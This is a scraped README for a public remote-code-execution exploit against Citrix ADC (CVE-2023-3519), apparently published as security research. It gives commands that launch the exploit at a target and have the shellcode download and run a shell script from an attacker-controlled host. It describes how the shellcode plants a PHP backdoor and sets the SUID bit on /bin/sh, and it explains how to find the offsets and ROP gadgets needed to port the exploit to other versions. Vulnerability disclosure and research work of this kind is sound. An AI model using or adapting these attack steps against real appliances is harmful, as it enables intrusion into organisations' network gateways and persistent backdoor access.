Coder Social home page Coder Social logo

cve-2023-3519's Introduction

Citrix ADC RCE CVE-2023-3519

This exploit uses addresses and shellcode for Citrix VPX 13.1-48.47. For the full writeup, click here.

Usage

NASM is required to build the shellcode.

$ sudo apt install nasm

The included shellcode will download and run a shell script from a remote http(s) server. The script takes 3 arguments: the target host, the target port, and the URL of a shell script payload. An example payload which runs id and uname -a before cleaning up after itself is included in this repo.

$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a

The URL must be short enough to fit in the shellcode buffer, and you will get a warning if it is too long.

Shellcode artifacts

The shellcode will create a PHP backdoor in /var/netscaler/logon/a.php and set the SUID bit on /bin/sh. The included sh payload shows an example of automatically cleaning up these artifacts. Also note that the shellcode does not close its file descriptors, so excessive repeated exploitation may result in resource exhaustion.

Adapting to other versions

For FreeBSD-based Citrix targets, you should only need to find 3 values: the offset of the saved return pointer, a jmp rsp ROP gadget (or something equivalent, such as push rsp; ret;), and the address to jump to in order to avoid a crash. These parameters are all hardcoded near the top of cve-2023-3519.py. For certain versions you may also need to find a fourth value to fixup the RBP value, since the compiler generates RBP-relative loads instead of using POP instructions to restore saved registers.

cve-2023-3519's People

Contributors

bf-ryan avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.